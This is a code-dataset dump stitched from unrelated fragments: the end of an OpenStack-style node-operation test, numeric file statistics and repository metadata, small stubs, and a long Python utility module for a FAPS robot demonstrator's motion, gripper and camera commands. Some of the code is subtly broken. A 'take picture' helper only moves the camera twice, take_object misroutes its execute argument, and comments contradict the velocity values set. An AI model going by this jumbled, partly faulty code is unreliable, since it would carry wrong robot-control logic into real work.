not " "supported by the profile type 'cow'.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'node1') mock_node.assert_called_once_with(self.ctx, db_node=x_db_node) @mock.patch.object(node_mod.Node, 'load') @mock.patch.object(no.Node, 'find') def test_node_op_bad_parameters(self, mock_find, mock_node): x_db_node = mock.Mock(id='12345678AB') mock_find.return_value = x_db_node x_schema = mock.Mock() x_schema.validate.side_effect = exc.ESchema(message='Boom') x_profile = mock.Mock(OPERATIONS={'dance': x_schema}) x_node = mock.Mock() x_node.rt = {'profile': x_profile} mock_node.return_value = x_node req = orno.NodeOperationRequest(identity='node1', operation='dance', params={'style': 'tango'}) ex = self.assertRaises(rpc.ExpectedException, self.svc.node_op, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual("Boom.", str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'node1') mock_node.assert_called_once_with(self.ctx, db_node=x_db_node) x_schema.validate.assert_called_once_with({'style': 'tango'})
44.79536
79
0.595028
6,364
54,068
4.77467
0.054368
0.034786
0.052327
0.061871
0.862338
0.841605
0.822089
0.805832
0.788126
0.755348
0
0.011752
0.287083
54,068
1,206
80
44.832504
0.776553
0.014278
0
0.711501
0
0
0.121593
0.002252
0
0
0
0
0.214425
1
0.051657
false
0.001949
0.018519
0
0.075049
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b19ec2d4a0e44b2e84dd536df0b67f1d78089be6
230
py
Python
PackageName/scores/__init__.py
asiaszmek/CA1TestUnit
ff4d70a14ab15331528dbdd67973a9b6c037a13f
[ "BSD-3-Clause" ]
1
2021-05-05T15:44:13.000Z
2021-05-05T15:44:13.000Z
DemoTestUnit/scores/__init__.py
appukuttan-shailesh/DemoTestUnit
bd0430fdb730ad18492f3cd32b1af039fa9fe093
[ "BSD-3-Clause" ]
null
null
null
DemoTestUnit/scores/__init__.py
appukuttan-shailesh/DemoTestUnit
bd0430fdb730ad18492f3cd32b1af039fa9fe093
[ "BSD-3-Clause" ]
null
null
null
import sciunit # =============================================================================== # Enter source code for custom score types here # ===============================================================================
28.75
81
0.221739
10
230
5.1
1
0
0
0
0
0
0
0
0
0
0
0
0.078261
230
7
82
32.857143
0.240566
0.891304
0
0
0
0
0
0
0
1
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
1
0
0
0
0
0
0
null
1
0
0
0
0
0
1
0
1
0
1
0
0
8
b1a314901f0002fc6937d9f7131289ddb594a8ac
149
py
Python
generator/builders/template_context.py
wreiner/Office365-REST-Python-Client
476bbce4f5928a140b4f5d33475d0ac9b0783530
[ "MIT" ]
null
null
null
generator/builders/template_context.py
wreiner/Office365-REST-Python-Client
476bbce4f5928a140b4f5d33475d0ac9b0783530
[ "MIT" ]
null
null
null
generator/builders/template_context.py
wreiner/Office365-REST-Python-Client
476bbce4f5928a140b4f5d33475d0ac9b0783530
[ "MIT" ]
null
null
null
class TemplateContext: def __init__(self, template_path): self._template_path = template_path def build(self, schema): pass
21.285714
43
0.677852
17
149
5.470588
0.588235
0.387097
0.344086
0
0
0
0
0
0
0
0
0
0.248322
149
6
44
24.833333
0.830357
0
0
0
0
0
0
0
0
0
0
0
0
1
0.4
false
0.2
0
0
0.6
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
7
4921e0fc1528837f66177a6fda9366d656e3bc27
35,790
py
Python
FAPSDemonstratorAPI/utils.py
jupiterbak/FAPSDemonstratorAPI
4a6f4f251a9836676577509b5cfe72ee3ffbb1d1
[ "MIT" ]
1
2018-11-25T20:58:13.000Z
2018-11-25T20:58:13.000Z
FAPSDemonstratorAPI/utils.py
jupiterbak/FAPSDemonstratorAPI
4a6f4f251a9836676577509b5cfe72ee3ffbb1d1
[ "MIT" ]
null
null
null
FAPSDemonstratorAPI/utils.py
jupiterbak/FAPSDemonstratorAPI
4a6f4f251a9836676577509b5cfe72ee3ffbb1d1
[ "MIT" ]
null
null
null
import random from FAPSDemonstratorAPI import Program, Command, CommandMode, ParameterMode from FAPSDemonstratorAPI.ApplicationConstants import * def set_velocity(target_velocity=None, execute=False): # Check the parameter if target_velocity is None : return [] temp = Program() if execute is True: temp.reset() # set the velocity to 20% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, target_velocity, 0, 0, ParameterMode.ABSOLUTE, 0 ) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def goto_position(x=None, y=None, z=None, positioning_mode=None, execute=False): # Check the parameter if (x is None) or (y is None) or (z is None): return [] temp = Program() if execute is True: temp.reset() # Go to the target position temp.append_instruction( Command.CMD_POS_ABS_XYZ if positioning_mode == "Absolute" else Command.CMD_POS_REL_XYZ, CommandMode.WCD, x, y, z, ParameterMode.ABSOLUTE, 0 ) # Wait until movement is finished # temp.append_instruction( # Command.CMD_WAIT_FOR_PATH_POSITION, # CommandMode.WCD, # 5.0, -1, 0, # ParameterMode.ABSOLUTE, # 0) cmd_list = temp.get_instructions() if execute is True: temp.execute() return cmd_list def goto_product_camera_position(execute=False): # Check the parameter # nothing to do temp = Program() if execute is True: temp.reset() # set the velocity to 20% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 80, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Goto to camera position temp.append_instruction(Command.CMD_POS_BASIC_SEGMENT, CommandMode.WCD, 0, PT_PRODUCT_CAMERA, 0, ParameterMode.ABSOLUTE, 0) # Wait until movement is finished temp.append_instruction(Command.CMD_WAIT_POS_BASIC_SEG_END, CommandMode.WCD, 0, 0, 0, ParameterMode.ABSOLUTE, 0) cmd_list = temp.get_instructions() if execute is True: temp.execute() return cmd_list def take_picture(execute=False): # Check the parameter # nothing to do temp = Program() if execute is True: temp.reset() # Take a picture temp.append_instruction(Command.CMD_SET_CONDITION, CommandMode.WCD, CND_CAMERA_TAKE_PIC, 1, 0, ParameterMode.ABSOLUTE, 0) # Wait for 500 ms temp.append_instruction(Command.CMD_WAIT_TIME, CommandMode.WCD, 0, 0, 0, ParameterMode.ABSOLUTE, 500) # Reset take picture temp.append_instruction(Command.CMD_SET_CONDITION, CommandMode.WCD, CND_CAMERA_TAKE_PIC, 0, 0, ParameterMode.ABSOLUTE, 0) cmd_list = temp.get_instructions() if execute is True: temp.execute() return cmd_list def goto_product_camera_position_and_take_picture(execute=False): # Check the parameter # nothing to do temp = Program() if execute is True: temp.reset() # Go to prosuct camera position temp.append_all_instructions(goto_product_camera_position()) # Go to prosuct camera position temp.append_all_instructions(goto_product_camera_position()) cmd_list = temp.get_instructions() if execute is True: temp.execute() return cmd_list def take_product_picture(execute=False): return goto_product_camera_position_and_take_picture(execute) def goto_magazin_camera_position(magazin_index=None, execute=False): # Check the parameter if magazin_index is None: return [] # get the position m_position = MAGAZIN_POSITION_CAMERA[magazin_index] if m_position is None or len(m_position) < 3: return [] temp = Program() if execute is True: temp.reset() # set the velocity to 20% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 80, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Goto the position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, m_position[0], m_position[1], m_position[2], ParameterMode.ABSOLUTE, 0 ) # Wait until movement is finished # temp.append_instruction( # Command.CMD_WAIT_FOR_PATH_POSITION, # CommandMode.WCD, # 5.0, -1, 0, # ParameterMode.ABSOLUTE, # 0 # ) cmd_list = temp.get_instructions() if execute is True: temp.execute() return cmd_list def goto_magazin_and_take_picture(magazin_index=None, execute=False): # Check the parameter if magazin_index is None: return [] # get the position m_position = MAGAZIN_POSITION_CAMERA[magazin_index] if m_position is None or len(m_position) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions temp.append_all_instructions(goto_magazin_camera_position(magazin_index, execute=False)) temp.append_all_instructions(take_picture(execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def scan_magazin(magazin_index=None, execute=False): # Check the parameter if magazin_index is None: return [] # get the position m_position = MAGAZIN_POSITION_CAMERA[magazin_index] if m_position is None or len(m_position) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # Go to the target position temp.append_all_instructions(goto_magazin_camera_position(magazin_index, execute=False)) # Start scanning # Move -50 mm in the x direction temp.append_all_instructions(goto_position(-50.0, 0.0, 0.0, positioning_mode="Relative", execute=False)) # Take a first picture temp.append_all_instructions(take_picture(execute=False)) # Move 100 mm in the x direction temp.append_all_instructions(goto_position(100.0, 0.0, 0.0, positioning_mode="Relative", execute=False)) # Take a second picture temp.append_all_instructions(take_picture(execute=False)) # Move -50 mm in the x direction and 10 mm in the y direction temp.append_all_instructions(goto_position(-50.0, 0.0, 0.0, positioning_mode="Relative", execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def scan_all_magazins(execute=False): # Check the parameter # Nothing to do # Initialize the programm temp = Program() if execute is True: temp.reset() for i in range(len(MAGAZIN_POSITION_CAMERA)): temp.append_all_instructions(scan_magazin(i, execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def scan_product(execute=False): # Check the parameter # Nothing to do # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # Go to the target position temp.append_all_instructions(goto_product_camera_position(execute=False)) # Start scanning temp.append_all_instructions(goto_position(40.0, 50.0, 0.0, positioning_mode="Relative", execute=False)) # Take a first picture temp.append_all_instructions(take_picture(execute=False)) # Move -20 mm in the x direction temp.append_all_instructions(goto_position(-80.0, 0.0, 0.0, positioning_mode="Relative", execute=False)) # Take a second picture temp.append_all_instructions(take_picture(execute=False)) # Move -20 mm forward in the y direction temp.append_all_instructions(goto_position(0.0, -50.0, 0.0, positioning_mode="Relative", execute=False)) # Take a third picture temp.append_all_instructions(take_picture(execute=False)) # Move 20 mm forward in the x direction temp.append_all_instructions(goto_position(80.0, 0.0, 0.0, positioning_mode="Relative", execute=False)) # Take a fourth picture temp.append_all_instructions(take_picture(execute=False)) # Move -10 mm in the x direction and 10 mm in the y direction temp.append_all_instructions(goto_position(-40.0, 0.0, 0.0, positioning_mode="Relative", execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def calibrate_magazin(magazin_index=None, execute=False): # Check the parameter if magazin_index is None: return [] # get the position m_position = MAGAZIN_POSITION_CAMERA[magazin_index] if m_position is None or len(m_position) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # Go to the target position temp.append_all_instructions(goto_magazin_camera_position(magazin_index, execute=False)) # Take a picture temp.append_all_instructions(take_picture(execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def calibrate_all_magazins(execute=False): # Check the parameter # Nothing to do # Initialize the programm temp = Program() if execute is True: temp.reset() for i in range(len(MAGAZIN_POSITION_CAMERA)): temp.append_all_instructions(calibrate_magazin(i, execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def calibrate_camera( execute=False): # Check the parameter # We will consider only the 4th magazin position m_position = MAGAZIN_POSITION_CAMERA[4] if m_position is None or len(m_position) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # set the velocity to 20% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 80, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Goto the random position and take 10 pictures for i in range(10): # Go to the position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, m_position[0] + random.randint(-30, 30), m_position[1] + random.randint(-30, 30), m_position[2], ParameterMode.ABSOLUTE, 0 ) # Take a picture temp.append_all_instructions(take_picture(execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def calibrate_product(execute=False): # Check the parameter m_position = PRODUCT_POSITION_CAMERA if m_position is None or len(m_position) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # Go to the target position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, m_position[0], m_position[1], m_position[2], ParameterMode.ABSOLUTE, 0 ) # Take a picture temp.append_all_instructions(take_picture(execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def take_picture_of_magazin(magazin_index=None, execute=False): # Check the parameter if magazin_index is None: return [] # get the position m_position = MAGAZIN_POSITION_CAMERA[magazin_index] if m_position is None or len(m_position) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # Go to the target position temp.append_all_instructions(goto_magazin_camera_position(magazin_index, execute=False)) # Take a picture temp.append_all_instructions(take_picture(execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def take_picture_of_magazin_by_segment(magazin_index=None, execute=False): # Check the parameter if magazin_index is None: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # Go to the target position temp.append_instruction( Command.CMD_POS_BASIC_SEGMENT, CommandMode.WCD, PT_CURRENT, PT_MAGAZIN_ARRAY[magazin_index], 0, ParameterMode.ABSOLUTE, 0 ) # Take a picture temp.append_all_instructions(take_picture(execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def take_picture_of_all_magazin_by_segment(execute=False): # Check the parameter # Nothing to do # Initialize the programm temp = Program() if execute is True: temp.reset() for i in range(len(MAGAZIN_POSITION_CAMERA)): temp.append_all_instructions(take_picture_of_magazin_by_segment(i, execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def open_gripper(execute=False): # Check the parameter # Nothing to do # Initialize the programm temp = Program() if execute is True: temp.reset() temp.append_instruction( Command.CMD_SET_CONDITION, CommandMode.WCD, CND_GRIPPER_OPEN, 1, 0, ParameterMode.ABSOLUTE, 0 ) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def close_gripper(execute=False): # Check the parameter # Nothing to do # Initialize the programm temp = Program() if execute is True: temp.reset() temp.append_instruction( Command.CMD_SET_CONDITION, CommandMode.WCD, CND_GRIPPER_OPEN, 0, 0, ParameterMode.ABSOLUTE, 0 ) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def wait(timemillis=100, execute=False): # Check the parameter # Nothing to do # Initialize the programm temp = Program() if execute is True: temp.reset() temp.append_instruction( Command.CMD_WAIT_TIME, CommandMode.WCD, 0, 0, 0, ParameterMode.ABSOLUTE, timemillis ) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def take_gripper(gripper_index=None, execute=False): # Not implemented return [] def pick_object(object_position=None, final_destination=None, retain=False, execute=False): # Check the parameter if object_position is None or len(object_position) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # Go 10mm above the object position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, object_position[0], object_position[1], object_position[2] + 200, ParameterMode.ABSOLUTE, 0 ) # set the velocity to 10% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 50.0, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Open the gripper temp.append_instruction( Command.CMD_SET_CONDITION, CommandMode.WCD, CND_GRIPPER_OPEN, 1, 0, ParameterMode.ABSOLUTE, 0 ) # Go slowly to the product position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, object_position[0], object_position[1], object_position[2], ParameterMode.ABSOLUTE, 0 ) # Wait 500 ms temp.append_instruction( Command.CMD_WAIT_TIME, CommandMode.WCD, 0, 0, 0, ParameterMode.ABSOLUTE, 500 ) # set the velocity back to 50% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 100, 0, 0, ParameterMode.ABSOLUTE, 0 ) if retain is False: # Close the gripper temp.append_instruction( Command.CMD_SET_CONDITION, CommandMode.WCD, CND_GRIPPER_OPEN, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Go 100 mm above the object position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, object_position[0], object_position[1], object_position[2] + 200, ParameterMode.ABSOLUTE, 0 ) if not (final_destination is None or len(final_destination) < 3): # Go to the final destination temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, final_destination[0], final_destination[1], final_destination[2], ParameterMode.ABSOLUTE, 0 ) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def pick_object_reverse(object_position=None, final_destination=None, retain=False, execute=False): # Check the parameter if object_position is None or len(object_position) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # Go 10mm above the object position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, object_position[0], object_position[1], object_position[2] + 200, ParameterMode.ABSOLUTE, 0 ) # set the velocity to 10% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 50.0, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Open the gripper temp.append_instruction( Command.CMD_SET_CONDITION, CommandMode.WCD, CND_GRIPPER_OPEN, 1, 0, ParameterMode.ABSOLUTE, 0 ) # Go slowly to the product position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, object_position[0], object_position[1], object_position[2], ParameterMode.ABSOLUTE, 0 ) # Wait 500 ms temp.append_instruction( Command.CMD_WAIT_TIME, CommandMode.WCD, 0, 0, 0, ParameterMode.ABSOLUTE, 500 ) # set the velocity back to 50% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 100, 0, 0, ParameterMode.ABSOLUTE, 0 ) if retain is False: # Close the gripper temp.append_instruction( Command.CMD_SET_CONDITION, CommandMode.WCD, CND_GRIPPER_OPEN, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Wait 500 ms temp.append_instruction( Command.CMD_WAIT_TIME, CommandMode.WCD, 0, 0, 0, ParameterMode.ABSOLUTE, 500 ) # Go 100 mm above the object position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, object_position[0], object_position[1], object_position[2] + 200, ParameterMode.ABSOLUTE, 0 ) if not (final_destination is None or len(final_destination) < 3): # Go to the final destination temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, final_destination[0], final_destination[1], final_destination[2], ParameterMode.ABSOLUTE, 0 ) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def take_object(object_position=None, execute=False): return pick_object(object_position, execute) def pick_object_one_axis(object_position=None, final_destination=None, retain=False, execute=False): # Check the parameter if object_position is None or len(object_position) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # Go 10mm above the object position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, object_position[0], object_position[1], object_position[2] + 200, ParameterMode.ABSOLUTE, 0 ) # # temp.append_instruction( # Command.CMD_POS_ABS_XYZ, # CommandMode.WCD, # object_position[0], # object_position[1], # object_position[2] + 200, # ParameterMode.ABSOLUTE, # 0 # ) # temp.append_instruction( # Command.CMD_POS_ABS_XYZ, # CommandMode.WCD, # object_position[0], # object_position[1], # object_position[2] + 200, # ParameterMode.ABSOLUTE, # 0 # ) # set the velocity to 10% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 10.0, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Open the gripper temp.append_instruction( Command.CMD_SET_CONDITION, CommandMode.WCD, CND_GRIPPER_OPEN, 1, 0, ParameterMode.ABSOLUTE, 0 ) # Go slowly to the product position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, object_position[0], object_position[1], object_position[2], ParameterMode.ABSOLUTE, 0 ) # Wait 500 ms temp.append_instruction( Command.CMD_WAIT_TIME, CommandMode.WCD, 0, 0, 0, ParameterMode.ABSOLUTE, 500 ) # set the velocity back to 50% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 100, 0, 0, ParameterMode.ABSOLUTE, 0 ) if retain is False: # Close the gripper temp.append_instruction( Command.CMD_SET_CONDITION, CommandMode.WCD, CND_GRIPPER_OPEN, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Go 100 mm above the object position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, object_position[0], object_position[1], object_position[2] + 200, ParameterMode.ABSOLUTE, 0 ) if not (final_destination is None or len(final_destination) < 3): # Go to the final destination temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, final_destination[0], final_destination[1], final_destination[2], ParameterMode.ABSOLUTE, 0 ) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def place_object(place_destination=None, final_destination=None, execute=False): # Check the parameter if place_destination is None or len(place_destination) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # Go 10mm above the object position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, place_destination[0], place_destination[1], place_destination[2] + 150, ParameterMode.ABSOLUTE, 0 ) # set the velocity to 10% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 50.0, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Go slowly to the product position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, place_destination[0], place_destination[1], place_destination[2], ParameterMode.ABSOLUTE, 0 ) # Wait 500 ms temp.append_instruction( Command.CMD_WAIT_TIME, CommandMode.WCD, 0, 0, 0, ParameterMode.ABSOLUTE, 500 ) # Close the gripper temp.append_instruction( Command.CMD_SET_CONDITION, CommandMode.WCD, CND_GRIPPER_OPEN, 0, 0, ParameterMode.ABSOLUTE, 0 ) # set the velocity back to 50% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 100, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Go 100 mm above the object position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, place_destination[0], place_destination[1], place_destination[2] + 150, ParameterMode.ABSOLUTE, 0 ) if not (final_destination is None or len(final_destination) < 3): # Go to the final destination temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, final_destination[0], final_destination[1], final_destination[2], ParameterMode.ABSOLUTE, 0 ) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def place_object_reverse(place_destination=None, final_destination=None, execute=False): # Check the parameter if place_destination is None or len(place_destination) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # Go 10mm above the object position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, place_destination[0], place_destination[1], place_destination[2] + 150, ParameterMode.ABSOLUTE, 0 ) # set the velocity to 10% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 50.0, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Go slowly to the product position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, place_destination[0], place_destination[1], place_destination[2], ParameterMode.ABSOLUTE, 0 ) # Wait 500 ms temp.append_instruction( Command.CMD_WAIT_TIME, CommandMode.WCD, 0, 0, 0, ParameterMode.ABSOLUTE, 500 ) # Open the gripper temp.append_instruction( Command.CMD_SET_CONDITION, CommandMode.WCD, CND_GRIPPER_OPEN, 1, 0, ParameterMode.ABSOLUTE, 0 ) # Wait 500 ms temp.append_instruction( Command.CMD_WAIT_TIME, CommandMode.WCD, 0, 0, 0, ParameterMode.ABSOLUTE, 500 ) # set the velocity back to 50% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 100, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Go 100 mm above the object position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, place_destination[0], place_destination[1], place_destination[2] + 150, ParameterMode.ABSOLUTE, 0 ) if not (final_destination is None or len(final_destination) < 3): # Go to the final destination temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, final_destination[0], final_destination[1], final_destination[2], ParameterMode.ABSOLUTE, 0 ) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def place_object_one_axis(place_destination=None, final_destination=None, execute=False): # Check the parameter if place_destination is None or len(place_destination) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # Append all instructions # Go 10mm above the object position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, place_destination[0], place_destination[1], place_destination[2] + 150, ParameterMode.ABSOLUTE, 0 ) # temp.append_instruction( # Command.CMD_POS_ABS_XYZ, # CommandMode.WCD, # place_destination[0], # place_destination[1], # place_destination[2] + 150, # ParameterMode.ABSOLUTE, # 0 # ) # # temp.append_instruction( # Command.CMD_POS_ABS_XYZ, # CommandMode.WCD, # place_destination[0], # place_destination[1], # place_destination[2] + 150, # ParameterMode.ABSOLUTE, # 0 # ) # set the velocity to 10% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 10.0, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Go slowly to the product position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, place_destination[0], place_destination[1], place_destination[2], ParameterMode.ABSOLUTE, 0 ) # Wait 500 ms temp.append_instruction( Command.CMD_WAIT_TIME, CommandMode.WCD, 0, 0, 0, ParameterMode.ABSOLUTE, 500 ) # Close the gripper temp.append_instruction( Command.CMD_SET_CONDITION, CommandMode.WCD, CND_GRIPPER_OPEN, 0, 0, ParameterMode.ABSOLUTE, 0 ) # set the velocity back to 50% temp.append_instruction( Command.CMD_SET_PATH_VELO, CommandMode.WCD, 100, 0, 0, ParameterMode.ABSOLUTE, 0 ) # Go 100 mm above the object position temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, place_destination[0], place_destination[1], place_destination[2] + 150, ParameterMode.ABSOLUTE, 0 ) if not (final_destination is None or len(final_destination) < 3): # Go to the final destination temp.append_instruction( Command.CMD_POS_ABS_XYZ, CommandMode.WCD, final_destination[0], final_destination[1], final_destination[2], ParameterMode.ABSOLUTE, 0 ) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def pick_and_place_object(object_position=None, place_destination=None, execute=False): # Check the parameter if place_destination is None or len(place_destination) < 3: return [] if object_position is None or len(object_position) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # append instructions temp.append_all_instructions(pick_object(object_position=object_position, retain=True, execute=False)) temp.append_all_instructions(place_object(place_destination=place_destination, execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def pick_and_place_object_reverse(object_position=None, place_destination=None, execute=False): # Check the parameter if place_destination is None or len(place_destination) < 3: return [] if object_position is None or len(object_position) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # append instructions temp.append_all_instructions(pick_object_reverse(object_position=object_position, execute=False)) temp.append_all_instructions(place_object_reverse(place_destination=place_destination, execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def pick_and_place_object_by_segment(object_position=None, place_destination=None, start_segment=None, end_segment=None, execute=False): # Check the parameter if place_destination is None or len(place_destination) < 3: return [] if object_position is None or len(object_position) < 3: return [] if start_segment is None or end_segment is None: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # append instructions temp.append_all_instructions(pick_object(object_position=object_position, retain=True, execute=False)) temp.append_all_instructions(place_object(place_destination=place_destination, execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list def pick_and_place_object_only_one_axis(object_position=None, place_destination=None, execute=False): # Check the parameter if place_destination is None or len(place_destination) < 3: return [] if object_position is None or len(object_position) < 3: return [] # Initialize the programm temp = Program() if execute is True: temp.reset() # append instructions temp.append_all_instructions(pick_object_one_axis(object_position=object_position, retain=True, execute=False)) temp.append_all_instructions(place_object_one_axis(place_destination=place_destination, execute=False)) cmd_list = temp.get_instructions() # Execute the program if execute is True: temp.execute() return cmd_list
24.380109
115
0.620564
4,185
35,790
5.095341
0.034409
0.053461
0.074845
0.099794
0.957419
0.95287
0.938661
0.934299
0.927828
0.926843
0
0.023632
0.304778
35,790
1,468
116
24.380109
0.833374
0.165018
0
0.793568
0
0
0.002431
0
0
0
0
0
0
1
0.034232
false
0
0.003112
0.003112
0.102697
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
4931d2a194dfcc16d9cbae891bad653bce680106
3,452
py
Python
_test/test_copy.py
zvxr/ruamel-yaml
0f5e5dd4c650ee0d9faa7c49a5cbc0a3f3488759
[ "MIT" ]
8
2020-08-10T11:59:25.000Z
2022-03-07T19:12:08.000Z
_test/test_copy.py
zvxr/ruamel-yaml
0f5e5dd4c650ee0d9faa7c49a5cbc0a3f3488759
[ "MIT" ]
2
2022-01-12T10:02:57.000Z
2022-02-22T21:11:29.000Z
_test/test_copy.py
zvxr/ruamel-yaml
0f5e5dd4c650ee0d9faa7c49a5cbc0a3f3488759
[ "MIT" ]
4
2020-12-11T21:26:42.000Z
2022-02-01T13:36:21.000Z
